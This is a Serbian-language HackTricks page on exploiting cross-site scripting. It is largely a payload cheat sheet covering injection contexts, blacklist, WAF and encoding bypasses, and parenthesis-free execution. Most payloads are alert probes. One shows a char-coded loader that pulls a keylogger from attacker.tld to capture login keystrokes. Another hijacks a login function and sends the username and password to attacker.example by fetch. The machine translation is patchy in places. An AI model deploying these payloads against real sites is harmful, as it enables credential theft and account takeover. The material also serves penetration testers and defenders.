%.*s
XSS (Cross Site Scripting)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Metodologija
- Proverite da li se bilo koja vrednost koju kontrolišete (parameters, path, headers?, cookies?) reflektuje u HTML-u ili koristi u JS kodu.
- Pronađite kontekst u kojem se reflektuje/koristi.
- Ako je reflektovano
- Proverite koje simbolе možete koristiti i u zavisnosti od toga, pripremite payload:
- U raw HTML:
- Možete li kreirati nove HTML tagove?
- Možete li koristiti evente ili atribute koji podržavaju
javascript:protokol? - Možete li zaobići zaštite?
- Da li se HTML sadržaj interpretira od strane nekog client side JS engine-a (AngularJS, VueJS, Mavo…), u tom slučaju možete zloupotrebiti Client Side Template Injection.
- Ako ne možete da kreirate HTML tagove koji izvršavaju JS kod, možete li zloupotrebiti Dangling Markup - HTML scriptless injection?
- Unutar HTML taga:
- Možete li izaći u raw HTML kontekst?
- Možete li kreirati nove evente/atribute za izvršavanje JS koda?
- Da li atribut u kojem ste “zarobljeni” podržava izvršavanje JS-a?
- Možete li zaobići zaštite?
- Unutar JavaScript koda:
- Možete li izbeći
<script>tag? - Možete li izbeći string i izvršiti drugačiji JS kod?
- Da li je vaš input u template literals ``?
- Možete li zaobići zaštite?
- Javascript funkcija koja se izvršava
- Možete navesti ime funkcije za izvršavanje. npr.:
?callback=alert(1) - Ako se koristi:
- Možete iskoristiti DOM XSS, obratite pažnju kako je vaš input kontrolisan i da li se vaš kontrolisani input koristi od strane bilo kog sinka.
Kada radite na kompleksnom XSS-u možda će vas zanimati:
Reflektovane vrednosti
Da biste uspešno iskoristili XSS, prvo što treba da pronađete je vrednost kojom upravljate koja se reflektuje na web stranici.
- Intermediately reflected: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na web stranici, možete iskoristiti Reflected XSS.
- Stored and reflected: Ako otkrijete da se vrednost kojom upravljate čuva na serveru i reflektuje svaki put kada pristupite stranici, možete iskoristiti Stored XSS.
- Accessed via JS: Ako otkrijete da se vrednost kojom upravljate pristupa pomoću JS-a, možete iskoristiti DOM XSS.
Konteksti
Kada pokušavate da iskoristite XSS, prvo što treba da znate je gde se vaš input reflektuje. U zavisnosti od konteksta, moći ćete da izvršavate proizvoljni JS kod na različite načine.
Raw HTML
Ako se vaš input reflektuje u raw HTML stranice, moraćete da iskoristite neki HTML tag da biste izvršili JS kod: <img , <iframe , <svg , <script … ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.
Takođe, imajte na umu Client Side Template Injection.
Unutar atributa HTML taga
Ako se vaš input reflektuje unutar vrednosti atributa taga, možete pokušati:
- Da pobegnete iz atributa i iz taga (tada ćete biti u raw HTML-u) i kreirate novi HTML tag za zloupotrebu:
"><img [...] - Ako možete da izađete iz atributa ali ne iz taga (
>je enkodiran ili obrisan), u zavisnosti od taga možete kreirati event koji izvršava JS kod:" autofocus onfocus=alert(1) x=" - Ako ne možete da izađete iz atributa (
"se enkodira ili briše), onda u zavisnosti od koji atribut reflektuje vašu vrednost i da li kontrolišete celu vrednost ili samo deo moći ćete da ga zloupotrebite. Na primer, ako kontrolišete event kao što jeonclick=moći ćete da ga naterate da izvrši proizvoljni kod kada se klikne. Još jedan interesantan primer je atributhref, gde možete koristitijavascript:protokol da izvršite proizvoljni kod:href="javascript:alert(1)" - Ako se vaš input reflektuje unutar “unexpoitable tags” možete pokušati trik sa
accesskeyda zloupotrebite ranjivost (trebaće vam neki vid social engineering-a da biste to iskoristili):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS iza WAF-ova
Corporate SSO login stranica reflektovala je OAuth service parametar unutar href atributa <a id="forgot_btn" ...>. Iako su < i > bili HTML-enkodovani, dvostruki navodnici nisu, pa je napadač mogao da zatvori atribut i ponovo upotrebi isti element za injektovanje handler-a kao " onfocus="payload" x=".
- Inject the handler: Jednostavni payload-i poput
onclick="print(1)"su bili blokirani, ali je WAF inspektovao samo prvu JavaScript naredbu u inline atributima. Prefiksiranje bezopasnog izraza obavijenog zagradama, zatim tačka-zarez, omogućilo je izvršenje pravog payload-a:onfocus="(history.length);malicious_code_here". - Auto-trigger it: Browser-i fokusiraju bilo koji element čiji se
idpoklapa sa fragmentom, pa dodavanje#forgot_btnna exploit URL forsira anchor da bude fokusiran pri učitavanju stranice i pokreće handler bez potrebe za klikom. - Keep the inline stub tiny: Cilj je već koristio jQuery. Handler je samo trebalo da bootstrap-uje zahtev preko
$.getScript(...)dok je ceo keylogger bio na serveru napadača.
Generisanje stringova bez navodnika
Jednostruki navodnici su vraćani URL-enkodovani, a escapovani dvostruki navodnici su korumpirali atribut, pa je payload generisao svaki string pomoću String.fromCharCode. Pomoćna funkcija olakšava konverziju bilo kog URL-a u char code-ove pre nego što ga zalepite u atribut:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Rezultujući atribut je izgledao ovako:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Zašto ovo krade kredencijale
Eksterni skript (učitan sa hosta pod kontrolom napadača ili Burp Collaborator) povezao je document.onkeypress, keširao pritiske tastera, i svake sekunde postavljao new Image().src = collaborator_url + keys. Pošto se XSS pokreće samo za neautentifikovane korisnike, osetljiva akcija je sam login formular — napadač beleži tastere za korisnička imena i lozinke čak i ako žrtva nikada ne pritisne “Login”.
Čudan primer kako Angular izvršava XSS ako kontrolišeš ime klase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Unutar JavaScript koda
U tom slučaju vaš unos se reflektuje između <script> [...] </script> tagova HTML stranice, unutar .js fajla ili unutar atributa koji koristi javascript: protokol:
- Ako se reflektuje između
<script> [...] </script>tagova, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite</script>i pobegnete iz ovog konteksta. Ovo radi zato što će browser prvo parsirati HTML tagove, a zatim sadržaj; stoga neće primetiti da se ubačeni</script>tag nalazi unutar HTML koda. - Ako se reflektuje unutar JS stringa i prethodni trik ne radi biće potrebno da izađete iz stringa, izvršite vaš kod i rekonstruišete JS kod (ako postoji bilo koja greška, neće biti izvršeno:
'-alert(1)-'';-alert(1)//\';alert(1)//- Ako se reflektuje unutar template literals možete ugraditi JS izraze koristeći
${ ... }sintaksu:var greetings = `Hello, ${alert(1)}` - Unicode encode funkcioniše za pisanje validnog javascript koda:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting se odnosi na mogućnost da deklaršete funkcije, promenljive ili klase nakon što su korišćene kako biste iskoristili scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.
Pogledajte sledeću stranicu za više informacija:
Javascript Function
Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.
A good way to find out if something given directly by the user is trying to be executed is modifying the param value (for example to ‘Vulnerable’) and looking in the console for errors like:
.png)
In case it’s vulnerable, you could be able to trigger an alert just doing sending the value: ?callback=alert(1). However, it’s very common that this endpoints will validate the content to only allow letters, numbers, dots and underscores ([\w\._]).
However, even with that limitation it’s still possible to perform some actions. This is because you can use that valid chars to access any element in the DOM:
.png)
Some useful functions for this:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Možete takođe pokušati da direktno pokrenete Javascript funkcije: obj.sales.delOrders.
Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a; druge stranice u okviru same origin će imati zanimljiviji DOM za izvođenje više akcija.
Zbog toga, kako bi se iskoristila ova ranjivost u drugom DOM-u, razvijena je eksploatacija Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Postoji JS code koji nebezbedno koristi neke podatke kontrolisane od strane napadača kao što je location.href. Napadač može iskoristiti ovo za izvršavanje proizvoljnog JS koda.
Universal XSS
Ovakav tip XSS može se naći anywhere. Ne zavise samo od eksploata klijenta web aplikacije već od any context. Ovakav tip arbitrary JavaScript execution može čak biti zloupotrebljen da se dobije RCE, read arbitrary files na klijentima i serverima, i još više.
Some examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Kada se vaš unos reflektuje inside the HTML page ili možete da escape-ujete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite < da kreirate nove tagove: jednostavno pokušajte da reflect taj char i proverite da li je HTML encoded ili deleted ili da li je reflected without changes. Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj.
For this cases also keep in mind Client Side Template Injection.
Napomena: A HTML comment can be closed using --> or --!>**
U ovom slučaju i ako se ne koristi black/whitelisting, možete koristiti payloads kao:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Ali, ako se koristi tags/attributes black/whitelisting, moraćete da brute-force which tags možete kreirati.
Kada ste locirali koji tags su allowed, biće potrebno da brute-force attributes/events unutar pronađenih valid tags kako biste videli kako možete napasti kontekst.
Tags/Events brute-force
Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Copy tags to clipboard. Zatim pošaljite sve njih koristeći Burp intruder i proverite da li je neki tags otkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tags možete koristiti, možete brute force all the events koristeći valid tags (na istoj web stranici kliknite na Copy events to clipboard i sledite istu proceduru kao i ranije).
Custom tags
Ako niste pronašli nijedan valid HTML tag, možete pokušati da kreirate custom tag i izvršite JS kod koristeći onfocus attribute. U XSS requestu, potrebno je da završite URL sa # kako biste naterali stranicu da se fokusira na taj objekat i izvrši kod:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Ako se koristi neka vrsta blacklist, možete pokušati da je bypass-ujete nekim smešnim trikovima:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Više tiny XSS za različita okruženja payload može se naći ovde i ovde.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Poslednji koristi 2 unicode karaktera koja se prošire na 5: telsr
Više ovih karaktera možete pronaći here.
Da biste proverili u koje se karaktere razlažu, proverite here.
Click XSS - Clickjacking
Ako je, da biste exploit the vulnerability, potrebno da korisnik klikne na link ili pošalje formu sa unapred popunjenim podacima, možete pokušati da abuse Clickjacking (ako je stranica ranjiva).
Impossible - Dangling Markup
Ako mislite da je nemoguće kreirati HTML tag sa atributom koji izvršava JS kod, trebalo bi da proverite Danglig Markup because you could exploit the vulnerability without executing JS code.
Ubacivanje unutar HTML taga
Unutar taga/izlazak iz vrednosti atributa
Ako se nalazite unutar HTML taga, prva stvar koju možete pokušati je da escape iz taga i koristite neke od tehnika pomenutih u prethodnom odeljku da biste izvršili JS kod.
Ako ne možete escape iz taga, možete kreirati nove atribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (napomena da se u ovom primeru dvostruki navodnici koriste za escape iz atributa; neće vam biti potrebni ako se vaš input direktno reflektuje unutar taga):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Događaji stila
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Unutar atributa
Čak i ako ne možete da pobegnete iz atributa (" is being encoded or deleted), u zavisnosti od u koji atribut je vaša vrednost reflektovana i da li kontrolišete celu vrednost ili samo njen deo moći ćete to da zloupotrebite. Na primer, ako kontrolišete događaj kao što je onclick= moćićete da ga naterate da izvrši proizvoljan kod kada se klikne.
Još jedan interesantan primer je atribut href, gde možete koristiti protokol javascript: da biste izvršili proizvoljan kod: href="javascript:alert(1)"
Zaobilaženje unutar eventa koristeći HTML encoding/URL encode
The HTML encoded characters unutar vrednosti atributa HTML tagova se dekodiraju pri izvršavanju. Zato će nešto poput sledećeg biti validno (payload je u boldu): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Imajte na umu da je bilo koja vrsta HTML encode validna:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Imajte na umu da će URL encode takođe raditi:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass unutar event-a koristeći Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Posebni protokoli unutar atributa
Tu možete koristiti protokole javascript: ili data: na nekim mestima da izvršite proizvoljan JS kod. Neki će zahtevati interakciju korisnika, neki neće.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Mesta na kojima možete ubaciti ove protokole
Uopšteno protokol javascript: može biti korišćen u bilo kom tagu koji prihvata atribut href i u većini tagova koji prihvataju atribut src (ali ne <img)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Ostali trikovi za obfuskaciju
U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važe, jer se nalazite unutar atributa.
<a href="javascript:var a=''-alert(1)-''">
Štaviše, postoji još jedan lep trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:... is being URL encoded, biće URL decoded pre nego što se izvrši. Dakle, ako treba da escape iz string koristeći single quote i vidite da it’s being URL encoded, zapamtite da it doesn’t matter, biće interpreted kao single quote tokom execution time.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Imajte na umu da ako pokušate da koristite oba URLencode + HTMLencode u bilo kojem redosledu da enkodujete payload to neće raditi, ali možete pomešati ih unutar payload-a.
Using Hex and Octal encode with javascript:
Možete koristiti Hex i Octal encode unutar src atributa iframe (najmanje) da deklarisete HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Ako možete ubaciti bilo koji URL u proizvoljni <a href= tag koji sadrži atribute target="_blank" and rel="opener", pogledajte sledeću stranicu da biste iskoristili ovo ponašanje:
Zaobilaženje on Event Handlers
Prvo proverite ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne “on” event handlers.
U slučaju da postoji neki blacklist koji vam sprečava da kreirate ove event handlere, možete isprobati sledeća zaobilaženja:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS u “Unexploitable tags” (hidden input, link, canonical, meta)
From here sada je moguće zloupotrebiti hidden inputs pomoću:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
I u meta tagovima:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Iz here: Možete izvršiti XSS payload unutar atributa hidden, pod uslovom da uspete da ubedite victim da pritisne odgovarajuću kombinaciju tastera. Na Firefoxu Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete odrediti drugu kombinaciju koristeći drugi taster u access key atributu. Ovde je vektor:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload će biti nešto poput ovoga: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Već su prikazani različiti trikovi sa korišćenjem različitih encoding-a u ovom odeljku. Vrati se da naučiš gde možeš da koristiš:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Pročitaj Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Pročitaj JavaScript bypass blacklist of the following section.
CSS-Gadgets
Ako nađeš XSS u veoma malom delu web-a koji zahteva neku interakciju (možda mali link u footer-u sa onmouseover elementom), možeš pokušati da promeniš prostor koji taj element zauzima kako bi maksimizirao verovatnoću da se link aktivira.
Na primer, možeš dodati stil elementu kao: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ali, ako WAF filtrira atribut style, možeš koristiti CSS Styling Gadgets, tako da ako pronađeš, na primer
.test {display:block; color: blue; width: 100%}
i
#someid {top: 0; font-family: Tahoma;}
Sada možeš izmeniti naš link i dovesti ga u oblik
<a href=“” id=someid class=test onclick=alert() a=“”>
Ovaj trik je preuzet sa https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
U ovom slučaju tvoj input biće reflektovan unutar JS koda u .js fajlu ili između <script>...</script> tagova, ili u HTML eventima koji mogu izvršiti JS code, ili između atributa koji prihvataju javascript: protokol.
Escaping <script> tag
Ako je tvoj kod umetnut unutar <script> [...] var input = 'reflected data' [...] </script> možeš lako escape-ovati zatvaranje <script> taga:
</script><img src=1 onerror=alert(document.domain)>
Obratite pažnju da u ovom primeru mi čak nismo ni zatvorili jednostruki navodnik. To je zato što se HTML parsiranje prvo vrši u pregledaču, što uključuje identifikovanje elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a kako bi se razumjele i izvršile ugrađene skripte obavlja se tek nakon toga.
Unutar JS koda
Ako su <> sanitizovani, i dalje možete escape-ovati string tamo gde je vaš unos pozicioniran i izvršiti proizvoljan JS. Važno je ispraviti JS sintaksu, jer ako postoje greške, JS kod neće biti izvršen:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Kada korisnički unos dospe unutar citiranog JavaScript stringa (npr. server-side echo u inline script), možete terminirati string, inject code i popraviti sintaksu kako bi parsiranje ostalo validno. Generički kostur:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Primer URL obrasca kada je ranjiv parametar reflektovan u JS string:
?param=test";<INJECTION>;a="
Ovo izvršava JS napadača bez potrebe да се dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod када filteri блокирају кључне речи.
Template literals ``
Da biste konstruisali stringove, pored jednostrukih i dvostrukih navodnika, JS такође prihvata backticks ``. Ovo je poznato kao template literals jer omogućavaju да се ugrađuju JS izrazi koristeći ${ ... } sintaksu.
Dakle, ако otkrijete da je vaš unos reflektovan unutar JS stringa који користи backticks, можете искористити ${ ... } синтаксу да извршите arbitrarni JS kod:
Ovo се може iskoristiti користећи:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Enkodirano izvršavanje koda
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads with eval(atob()) and scope nuances
Da biste skratili URLs i zaobišli naivne keyword filters, možete base64-encode-ovati svoju pravu logiku i evaluirati je pomoću eval(atob('...')). Ako simple keyword filtering blokira identifikatore kao što su alert, eval ili atob, koristite Unicode-escaped identifiers koji se kompajliraju identično u browseru, ali izbegavaju string-matching filters:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Važna nijansa opsega: const/let deklarisani unutar eval() su ograničeni na blok i ne kreiraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički ubačen <script> element da definišete globalne, non-rebindable hooks kada je potrebno (npr. da hijack-ujete form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode JS izvršavanje
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists tehnike
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Specijalni escape-ovi
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Zamene razmaka unutar JS koda
<TAB>
/**/
JavaScript comments (iz JavaScript Comments trik)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript prelomi linija (iz JavaScript new line trik)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript prazni razmaci
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript u komentaru
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez zagrada
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
